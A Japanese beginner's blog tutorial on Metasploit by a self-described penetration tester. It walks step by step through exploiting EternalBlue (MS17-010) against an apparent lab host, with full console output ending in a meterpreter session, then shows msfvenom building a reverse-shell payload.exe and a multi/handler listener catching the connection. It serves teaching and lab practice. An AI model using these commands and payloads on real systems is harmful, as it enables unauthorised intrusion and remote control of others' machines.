学習

【初心者向け】Metasploitとは?実例付きで使い方を解説

本記事で解決できる悩み

いなりまる
いなりまる

こんにちは、いなりまるです
このような悩みを解決する記事を用意しました!

ペネトレーションテストでMetasploitを使ってきた経験をもとに、初心者向けにMetasploitの使い方を実例付きで丁寧に解説します。

記事の前半ではMetasploitの概要や主な機能、基本的な使い方について解説し、後半ではmeterpreterやmsfvenomを解説します。

この記事を読み終わるころには「Metasploitの使い方」が分かるだけではなく、「Metasploitを使った一連の攻撃の流れ」も分かるようになりますよ。

今すぐMetasploitの使い方を知りたい方は👇からどうぞ!

▼Metasploitの基本的な使い方

Metasploitとは?前提知識や概要を解説

Metasploitについて考える

Metasploitは、多機能な攻撃支援ツールです。

ここでは、Metasploitの概要や前提知識についてかんたんに解説します。

前提知識|エクスプロイトとペイロードとは

Metasploitの説明に入る前に、「エクスプロイト」と「ペイロード」という言葉を理解しておく必要があります。

エクスプロイトは、パソコンやサーバーの脆弱性を使って、中に入るためのツールや方法のことです。

たとえば、カギのかかったドアをこじ開けるための道具のようなものです。

ペイロードは、エクスプロイトで中に入ったあとにやらせる「命令」のことです。

たとえば下記を命令します。

  • ファイルを盗む
  • PCを遠隔操作する
  • システムを壊す

2つの用語はセットで出てくることが多く、エクスプロイトが脆弱性を使って侵入する方法、ペイロードが中に入ってから実行する命令とイメージしておきましょう。

Metasploitの基本的な機能

Metasploitの基本的な機能は下記です。

  • モジュール
  • msfvenom
  • meterpreter

それぞれの機能があることで、攻撃の検証が簡単になります。

モジュールで攻撃方法を選び、msfvenomで攻撃コードを作成し、meterpreterで侵入後の遠隔操作ができます。

攻撃に必要な機能が一通りそろっているため、ペネトレーションテストなどで役立ちます。

モジュールとは

モジュールは、Metasploitで使う攻撃の道具です。

よく使うモジュールは下記3種類あります。

モジュール 機能
Auxiliary Module 攻撃前の情報収集やスキャンを行う ポートスキャン、バナー取得
Exploit Module 脆弱性を利用した攻撃を試みる SQLインジェクション、RCE
Post-Exploitation Module 攻撃が成功して侵入した後に使う 権限昇格、キーロガー

モジュールはMetasploitの機能の中でもとても大切な部分です。

msfvenom/meterpreterとは

msfvenomは、Metasploitの中にあるペイロード作成ツールです。

このツールを使うと、ペイロードを簡単に作成できます。

meterpreterは、Metasploitで用意されているペイロードの1つです。

侵入したシステムを遠隔操作できる機能を持っています。

Metasploitのインストール方法

Metasploitのインストール方法

Kali Linuxでのインストール手順

Kali LinuxではMetasploitを最初からMetasploitが入っているため、すぐに使えるようになっています。

ターミナルを開いて「msfconsole」と入力し、使えるかを確認しましょう。

もし使えない場合は下記コマンドでインストールできます。

sudo apt update && sudo apt install metasploit-framework

Windowsにおけるインストール手順

WindowsでもMetasploitは使う場合は、公式サイトからMetasploitをダウンロードします。

次に、画面の案内にしたがってインストールを進めましょう。

公式サイトMetasploitのダウンロード

Metasploitの基本的な使い方

Metasploitの使い方

ここからはMetasploitの基本的な使い方を紹介します。

基本的な使い方は以下の5ステップ

  • ①:起動
  • ②:検索
  • ③:選択
  • ④:設定
  • ⑤:実行

今回は、EternalBlueのエクスプロイトを例にして説明します。

EternalBlueは、WindowsのSMB(ファイル共有)サービスの脆弱性を悪用する攻撃手法

①起動

Metasploitを使うときは、まずターミナルを開いてmsfconsoleと入力します。

すると、Metasploitが起動して操作できるようになります。

「msf6 >」と表示されれば起動できた状態

$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level 
prompt
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.4.56-dev                          ]
+ -- --=[ 2504 exploits - 1291 auxiliary - 393 post       ]
+ -- --=[ 1607 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

②検索

モジュールを探すには、searchコマンドを使います。

「search EternalBlue」と入力すると、EternalBlueに関連するモジュールが表示されます。

msf6 > search EternalBlue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 >

モジュールの詳細確認

モジュールの内容をくわしく見るにはinfoコマンドを使います。

番号を指定することで、モジュールの指定が可能です。

たとえば、「info 0」と入力すれば、「exploit/windows/smb/ms17_010_eternalblue」の詳細が確認できます。

これで、そのモジュールの機能や使い方、対応OSなどの情報が見られます。

msf6 > info 0

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target
      1   Windows 7
      2   Windows Embedded Standard 7
      3   Windows Server 2008 R2
      4   Windows 8
      5   Windows 8.1
      6   Windows Server 2012
      7   Windows 10 Pro
      8   Windows 10 Enterprise Evaluation

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT          445              yes       The target port (TCP)
  SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Window
                                            s Embedded Standard 7 target machines.
  SMBPass                         no        (Optional) The password for the specified username
  SMBUser                         no        (Optional) The username to authenticate as
  VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Em
                                            bedded Standard 7 target machines.
  VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Sta
                                            ndard 7 target machines.

Payload information:
  Space: 2000

Description:
  This module is a port of the Equation Group ETERNALBLUE exploit, part of
  the FuzzBunch toolkit released by Shadow Brokers.

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  completed in srvnet!SrvNetWskReceiveComplete.

  This exploit, like the original may not trigger 100% of the time, and should be
  run continuously until triggered. It seems like the pool will get hot streaks
  and need a cool down period before the shells rain in again.

  The module will attempt to use Anonymous login, by default, to authenticate to perform the
  exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  those instead.

  On some systems, this module may cause system instability and crashes, such as a BSOD or
  a reboot. This may be more likely with some payloads.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  https://nvd.nist.gov/vuln/detail/CVE-2017-0145
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://nvd.nist.gov/vuln/detail/CVE-2017-0148
  https://github.com/RiskSense-Ops/MS17-010
  https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
  https://www.exploit-db.com/exploits/42030

Also known as:
  ETERNALBLUE


View the full module info with the info -d command.

msf6 >

③選択

使いたいモジュールが決まったら、useコマンドでモジュールを選択します。

番号を指定することで、モジュールの指定が可能です。

たとえば、「use 0」と入力すると、「exploit/windows/smb/ms17_010_eternalblue」が選択されます。

プロンプトが「msf6 >」から「msf6 exploit(...) >」に変われば、モジュールの選択が完了

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

モジュールのランク

Metasploitのモジュールにはランクがあります。

ランクには下記があり、信頼度や安定性の目安になります。

  • Excellent
  • Great
  • Good
  • Normal
  • Average
  • Low
  • Manual

とくに「excellent」は、安全に実行できるとされる高評価のモジュールです。

そのため、なるべくランクの高いモジュールを選ぶのがおすすめです。

④設定

モジュールを使う前に、必要な設定を行います。

show optionsと入力すると、設定すべき項目が表示されます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windo
                                             ws Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows E
                                             mbedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St
                                             andard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.119.135  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

項目の中で「Required」がyesとなっている部分は必ず設定が必要です。

たいていの場合は、LHOSTやRHOST、LPORT、RPORTを設定します。

今回は下記7つの項目を設定する必要があります。

  • RHOSTS
  • RPORT
  • VERIFY_ARCH
  • VERIFY_TARGET
  • EXITFUNC
  • LHOST
  • LPORT

RHOSTSとRPORTには、ターゲットのIPアドレスとポート番号を設定します。

一方で、LHOSTとLPORTは攻撃を行う自分のPC情報を入力します。

Rはremoteの略、Lはlocalの略

VERIFY_ARCHとVERIFY_TARGETは、Descriptionを参考にします。

ターゲットのOSやアーキテクチャがEternalBlueの影響を受けるかどうかを判断すれば良さそうです。

今回は例としてIPアドレスとポートの情報は下記とします。

  • 自分PCのIPアドレス:10.10.14.7
  • ポート番号:4444
  • ターゲットのIPアドレス:10.10.10.40
  • SMBサービスのポート:445

RPORT、VERIFY_ARCH、VERIFY_TARGET、EXITFUNCにはすでに値が入っているため、設定が必要なのはRHOSTS、LHOST、LPORTの3つです。

これらの設定はsetコマンドで行います。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.7
LHOST => 10.10.14.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) >

値が設定できたかをshow optionsで再度確認します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.10.40      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windo
                                             ws Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows E
                                             mbedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St
                                             andard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.7       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

設定した値が反映されているのでOKです。

ペイロードの変更方法

ペイロードを変更することが可能です。

使用可能なペイロードを確認するにはshow payloadsと入力します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                                   normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
・・・

利用するペイロードを変更したいときは、set payloadで指定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 0
payload => generic/custom

⑤実行

モジュールを実行するには、exploitまたはrunと入力します。

エクスプロイトが成功すると、設定したペイロードが実行されます。

今回の例ではペイロードにmeterpreterを使っているため、成功すればmeterpreterのプロンプトが表示されます。

このプロンプトが出れば、ターゲットへの侵入ができたことを意味します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.14.7:1234 
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.7:1234 -> 10.10.10.40:49158) at 2025-07-03 21:22:35 +0900
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > 

Metasploitの使い方(meterpreter編)

meterpreterの使い方

ここからはmeterpreterの使い方を2つ紹介します。

  • meterpreterコマンド
  • shellコマンド

それでは、ひとずつ見ていきましょう。

meterpreterコマンド

meterpreterには、あらかじめ用意されたコマンドがたくさんあります。

たとえば、catでファイルを見る、screenshotで画面を撮るなどです。

このように、meterpreterコマンドを使うと、色々な遠隔操作を簡単にします。

どんなmeterpreterコマンドがあるかはhelpで確認できます。

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
・・・
Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
・・・

shellコマンド

meterpreterのコマンドではできないこともあります。

そんなときはshellと入力して、シェルを起動しましょう。

シェルを使うと、ターゲットのパソコンに直接命令を送れます。

たとえば、ターゲットがWindowsの場合は、そのパソコン上でコマンドプロンプトを起動して命令を出すイメージです。

つまり、shellはmeterpreterではできない命令を補うための方法です。

meterpreter > shell
Process 2660 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows>

コマンドプロンプトを操作するのと同じように使用できます。

exitで通常のmeterpreterに戻れます。

C:\Windows>exit

meterpreter >

Metasploitの使い方(msfvenom編)

msfvenomの使い方

msfvenomは、ペイロードを作るためのツールです。

ここからはmsfvenomの使い方を解説します。

基本構文

msfvenomの基本構文は下記です。

$ msfvenom -p <ペイロード> LHOST=<自身のIPアドレス> LPORT=<ポート番号> -f <出力形式> -o <ファイル名>

たとえば、Windows用のペイロードを作るときは下記になります。

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f exe -o payload.exe

このコマンドだけで、かんたんにペイロードの作成が可能です。

ペイロードの種類

msfvenomではWindowsやLinuxなどで動く様々なタイプのペイロードが作れます。

ただし、ほとんどは遠隔操作ができるペイロードになります。

作成可能なペイロードは「-l」で確認可能です。

$ msfvenom -l payloads

Framework Payloads (1391 total) [--payload <value>]
===================================================

    Name                                                               Description
    ----                                                               -----------
    cmd/linux/http/x86/generic/debug_trap                              Fetch and execute a x86 payload from an HTTP server. Generate a debug trap in the target process
    cmd/linux/http/x86/generic/tight_loop                              Fetch and execute a x86 payload from an HTTP server. Generate a tight loop in the target process
    cmd/linux/https/x86/generic/debug_trap                             Fetch and execute an x86 payload from an HTTPS server. Generate a debug trap in the target process
    cmd/linux/https/x86/generic/tight_loop                             Fetch and execute an x86 payload from an HTTPS server. Generate a tight loop in the target process
・・・

msfvenomで作成したペイロードを使う方法

作成したペイロードを使うには、ターゲットにそのファイルを送り込んでおく必要があります。

その上で、Metasploitの中にあるmulti/handlerモジュールを使います。

このモジュールは、msfvenomで作ったペイロードの通信を受ける受け口のようなものです。

ペイロードを実行すると、multi/handlerが通信を受け取って、Meterpreterなどのセッションが始まります

multi/handlerモジュールの設定

multi/handlerを使うときは、作成したペイロードと同じ設定にしなければなりません。

たとえば、下記でペイロードを作成します。

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f exe -o payload.exe

multi/handlerのpayload、LHOST、LPORTの値をmsfvenomで作成した値と同じにします。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.7
LHOST => 10.10.14.7
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.7:1234

作成したペイロードの実行

設定が終わったら、ターゲット上でペイロードを実行します。

C:\Users\haris\Desktop>.\payload.exe

すると、multi/handlerが信号を受け取って、接続が始まります。

[*] Started reverse TCP handler on 10.10.14.7:1234 
[*] Command shell session 1 opened (10.10.14.7:1234 -> 10.10.10.40:49163) at 2025-07-03 22:46:19 +0900


Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----
          

C:\Users\haris\Desktop>

このようにして、msfvenomで作成したペイロードを使って遠隔操作が可能になります。

Metasploitの学習方法

Metasploitの学習方法

Metasploitを使いこなすには、まず基本をしっかり身につけることが大切です。

この記事で紹介した内容をベースにして、順番に学んでいきましょう。

そのあとで、公式リファレンスTryHackMeHTB Academyを使うと、より深く理解できます。

公式リファレンス公式リファレンス

とくにTryHackMeやHTB Academyでは、実際に手を動かしながら学べるのでおすすめです。

関連記事【初心者向け】TryHackMeの使い方や勉強方法について解説

関連記事Hack The Boxとは?料金やHTB Academyも解説

まとめ:Metasploitの使い方をTHMやHTBで実践しよう!

Metasploitの使い方のまとめ

Metasploitの使い方について解説しました。

  • msfconsoleで起動
  • searchでモジュールを検索
  • useでモジュールを使用
  • setで設定する
  • exploitまたはrunで実行

本記事の使い方で、Metasploitを使った攻撃テストができるようになりますよ。

基本の操作ができるようになったら、TryHackMeやHack The Boxで実践しましょう。

関連記事【初心者向け】TryHackMeの使い方や勉強方法について解説

関連記事Hack The Boxとは?料金やHTB Academyも解説

今回は以上です。最後まで読んでいただき、ありがとうございました。参考になれば幸いです。

  • この記事を書いた人

いなりまる

現役ペンテスター
OSCP、CEH、CISSP、RISSなどを保持
未経験者向けにペンテスターになる方法を発信しています

-学習
-